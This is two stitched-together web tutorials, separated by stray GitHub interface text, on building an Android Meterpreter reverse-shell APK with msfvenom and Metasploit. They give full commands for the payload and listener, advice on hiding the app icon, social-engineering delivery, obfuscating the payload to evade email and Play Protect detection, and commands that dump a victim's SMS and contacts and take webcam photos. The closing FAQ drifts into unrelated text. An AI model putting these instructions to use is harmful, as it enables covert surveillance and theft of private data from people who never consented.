Android payload in metasploit

Welcome back, my budding hackers!The growth of the mobile device market has been dramatic over the past 10 years. From its birth in 2007 with the advent of the Apple phone, mobile devices now comprise over 50% of all web traffic in 2020. There are 5B mobile devices on the planet or about one for 3/4 of the world's population. Of these mobile devices, 75% use the Android operating system. With this market dominance of Android, it is fitting that we focus our mobile hacking upon this dominant operating system.In this tutorial, we will be using Metasploit to exploit Android devices such as tablets and phones. As you will see, once we have exploited the Android device, we are capable of collecting the target's text messages, contact list, location and even turn on their webcam!As of 2020, the malicious app is still the most common method of compromising Android mobile devices with nearly 80% of all attacks a results of these apps. Android users are increasingly finding a need to install 3rd party apps as they want to try different and unique applications not available in the Google Play store.Android users can enable the download and installation of 3rd party apps by simply following the steps below.1. Open your Android device Settings.2. Select Apps and Notifications option3. Simply enable “Unknown Sources” optionNote: If you won’t find this option under the Apps and Notifications tab. Then try finding it in the device Security Section.In this tutorial, we will develop our own malicious APK that then must be installed by the user from 3rd party app or physically installed by the attacker.Step #1: Find Android ExploitsThe first step is to search Metasploit for Android exploits.There are numerous exploits within Metasploit for hacking Android. A quick search reveals the following exploits;msf > search type:exploit platform:androidAs you can see, there are at least 12 exploits for Android operating systems in Metasploit.Step #2: Find Android PayloadsAs you have seen in previous Metasploit Basics tutorials, Metasploit has numerous payloads and those payloads are specific to the operating system and exploit. If we want to exploit an Android system, then we will need an Android payload.We can find Android specific payloads by searching;msf > search type:payload platform:androidAs you can see, there are numerous Android specific payloads including payload/android/meterpreter/reverse_tcp which we will be using here, but the others can also be used as well.Step #3: Build an APK fileOne of the easiest ways to exploit an Android system is to create an .apk (Android PacKage file) file and have the target install it on their Android phone or tablet. This is usually done through physical access to their phone or through social engineering ("Hello, this tech support. We have detected unusual activity on your phone and need to install a tech support app to monitor this activity..."etc).As we learned here in Metasploit Basics, Part 9, we can use the msfvenom utility in Metasploit to create custom payloads. In this case, we will convert the payload/android/meterpreter/reverse_tcp into an Android .apk file.To do so, enter the following command.msf > msfvenom -p android/meterpreter/reverse_tcp AndroidHideAppIcon=true AndroidWakeLock=true LHOST=192.168.1.101 LPORT=6996 -f raw -o HackersAriseMalwareApp.apk AndroidMalware.apkWhere: msfvenom the command to create the malicious payload -p android/meterpreter_reverse_tcp the name of the android payload AndroidHideAppIcon=true the option hide's the app's icon from the user AndroidWakeLock=true this option keeps the phone from going to "sleep" LHOST=192.168.1.101 this is the IP address of the attacker (Kali) LPORT =6996 this is the port to communicate back to the attacker -f raw this creates the payload in raw format (-f) -o HackersAriseMalwareApp.apk this is the name of the app to output (-o)Note that the output complains that "No Platform was Selected" and "No arch selected" but msfvenom is smart enough to know from the payload that you seleted that the platform is Android and the architecture is Dalvik.For more on how to use msfvenom to create custom payloads, see my tutorial here.Step #4: Set Up a Multi Handler ListenerNow that we have the .apk built with the Android payload embedded, we need to open a listener on our system to accept the connection from the HackersAriseMalwareApp.apk when it is installed and executed. If you read Metasploit Basics, Part 12, we set up an .rc script to automatically start and open a listener to accept outside connections to our Metasploit. If you did so, you can now start it by enteringmsf > resource handler_http.rc If you don't have a listener script, you can start a listener by entering the following commands;msf >use exploit/multi/handlermsf >set PAYLOAD android/meterpreter/reverse_tcpmsf >set LHOST 192.168.1.101msf > set LPORT 6996msf > exploitYou must make certain that the PAYLOAD, LPORT and LHOST are the same as you used in creating your .apk file in msfvenom.Step # 5: Deliver the HackersAriseMalwareApp.apk to the TargetThe next step, of course, is to deliver the .apk file to the target's mobile device. If you have physical access to the device, simply install the HackersAriseMalwareApp.apk. Otherwise, you will need to send it to the target via email or DropBox or other means. It's important to note that this file will likely be flagged by Gmail and other email services as malware. As a result, consider re-encoding the payload with OWASP-ZSC or other obfuscation software such as shellter or Veil-Evasion.In addition, you might consider hosting the .apk on your own website and encourage people to download it.Step #6: Exploiting the Target SystemOnce the target installs the .apk, we should get a meterpreter prompt like below. We can then enter the command sysinfo to verify we are on the Android device!meterpreter > sysinfoWe can then enter help to see all the Android meterpreter commands.meterpreter > helpNote that from the Android meterpreter we have unique options such as;dump_calllogdump_contactsdump_smsgeolocactesend_smsThese commands give us the power to see just about anything the target is doing on this device as well as finding their location. This meterpreter is also capable of using some of the other standard meterpreter commands such as;record_micwebcam_snapwebcam_streamStep #7: Gathering Data from the Android DeviceLet's start by getting the target's text messagesmeterpreter > dump_smsNow, let's get their contacts list.meterpreter > dump_contactsFinally, list try listing their web cams so that we can later snap pictures from them.meterpreter > webcam_listNow that we have the list of web cams on the device, we can use the meterpreter command webcam_snap followed by the number of the webcam to take pictures of the target from the back camerameterpreter > webcam_snap 1ConclusionThe world's most widely used hacking/pentesting platform, Metasploit has capabilities to exploit just about any system including Android mobile devices. We can create a malicious .apk file and when the target installs the app, we can get almost totally unfettered access to their text messages, contacts and web cams!Look for my new book, "Metasploit Basics for Hackers" coming out fall 2020! Instantly share code, notes, and snippets. You can’t perform that action at this time. You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session. The modern Android operating system has a robust inbuilt security system to protect users from malicious activity. And for that, just creating a payload and injecting it on a victim’s smartphone is not going to work to hack their device. So you have to create a payload that can smartly bypass the strong security wall of Android mobile. Now you might be wondering how you can make such undetectable payloads. Don’t worry. Because in this blog post, we are going to present you with an ultimate guideline on how to make undetectable payload for android with some simple steps. So why are you delaying? Let’s get started! What Is The Payload For Android or Android payload? Before getting started, let’s have a glimpse at what a payload means in the context of android. Payload indicates the part of viruses that can perform malicious action and cause harm to software. Some Examples of payloads can include insulting text messages, data destruction, spurious email messages, etc. Hackers create payloads for androids in order to hack or spy on victim’s smartphones keeping them unaware. As a result, the attackers can steal their confidential data and have access to their messages and call logs, even to their audio recordings. But it is not so easy to strike the security arrangement of the android operations system. You have to create an undetectable payload to dodge this tight security system. And that is why we have come up with this article to show the steps of creating such payloads. How To Make A Payload For Android in kali linux Using Msfvenom And Metasploit Framework or How to create payload for android? Before making a strong payload to bypass the security mechanisms of an android phone secretly, you must know how to make a normal payload. To show you the entire process, we are going to use MSFvenom for generating a payload and setting up a listener to the Metasploit framework with some easy steps. Let’s focus on it. Disclaimer: We have created this article just for educational purposes. Don’t use this to harm anybody. Using it without prior mutual consent is illegal. We do not bear any responsible if there is any consequence. Step 1 Launch Kali Linux and log in with your password or user ID. Kali Linux is a well-known Debian-based operating system with some useful tools designed for performing different security tasks like penetration testing, reverse engineering, etc. Step 2 Fire up the terminal console to make an exploit using MSFvemom. MSFvenom combines two important tools named MSFpayload and MSFencode. These two tools help a lot in generating different kinds of payloads and encoding them in various encoder modules. Some notable features of MSFvenom are: The capability of merging two tools in a single tool Standard command-line option Handling power of all output formats It is mainly used to create a payload for android in dot apk format. And for doing so, you have to type in the following command in the terminal. MSFvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.10 LPORT=4444 R> android_shell.apk Step 3 Sign a certificate for the apk file. Though you have created the apk file successfully in the previous steps, you cannot install the file without signing it properly. Because Android devices are allowed to install signed.apk only. You can sign the .apk file in Kali Linux using the jar signer that comes preinstalled. Use the following command to get the job done. jarsigner -verify -verbose -certs android_shell.apk Step 4 Verify the .apk file using zipalign. Zipalign does not come preinstalled. So you need to install it at first and then perform a verifying task using the below command. zipalign -v 4 android_shell.apk signed_jar.apk The malicious apk file is ready to use on any android environment. The name of the new file should be signed_jar.apk after the process of verification gets completed. Setting Up The Listener Now it is time to start the listener. Follow the below steps to set up the listener. Step 1 Type the following command to start MSFconsole. msfconsole It will take a few seconds to get started. Step 2 To open the multi-handler in Metasploit, you have to type in the below command. Use exploit/multi/handler Step 3 In order to set the payload, simply type the command we mentioned below. set payload android/meterpreter/reverse_tcp Step 4 Now you need to set the LHOST to listen to the session you want. It would be if you can enter the victim’s IP. Otherwise, you have to enter your local IP address. Step 5 After that, you have to set the LPORT. Don’t forget to enter the same port you have used to make the payload. Step 6 And now the final command has come to evade the victim’s phone. Type ‘exploit’ to connect the infected device and to have the meterpreter session. Voila! You have done all the steps consistently and successfully created the backdoor to hack android phones. How To Make A Undetectable Payload For Android After completing the signing step of the apk file, you have made it already undetectable in Kali Linux. Well, now we will show how you can make a payload undetectable for android using the termux app. It is a good app for creating a payload in android if you don’t have a PC. You can repeat the above steps in termux to create a payload as the process is almost the same. Now you should follow the below steps to make a payload fully undetectable. Step 1 Download an application named Mix and installed it onto your smartphone. Let’s say you have made a payload named hack.apk and you want the file to be undetected. Jump into the second step to continue the process. Step 2 Now head over to the internal storage of your phone and locate the hack.apk file. Long press it to go to the next step. Step 3 You will then see a 3 dot icon in the top right corner. Hit on it and you will notice some options there. Tap the sign options from these. Step 4 Now you can see some icons on the top bar. Tap on the first icon that looks like a notepad. Step 5 A pop will appear then. Tap on the sign one file. Don’t tap on clear. Step 6 Then another pop-up will come. Select PLATFORM from the given options. Step 7 You can see another apk file named hack_signed.apk which is fully undetectable and is capable to bypass the Play Protect. Now you can send the file to the victim’s phone to have control of the infected phone. Final Thoughts That is all about how to make an undetectable payload for android. We tried to keep things simple for your better understand. But if you still face some problems and want to know some terms in detail, mention them in the comment box. We will help you out as soon as possible. FAQs How to send payload to victim android? There are many ways to send a payload to a victim Android device. One way would be to use a social engineering attack, such as sending a phishing email that contains a malicious link or attachment. Another way would be to use a malicious app that is disguised as a legitimate app and is downloaded from an unofficial app store. Actually it depends on what you want to achieve with your image payload. However, you may want to consider using a tool like Google’s Mobile Vision API to help detect and track faces in your image payload, as this can help ensure that your image is properly delivered to your intended audience.

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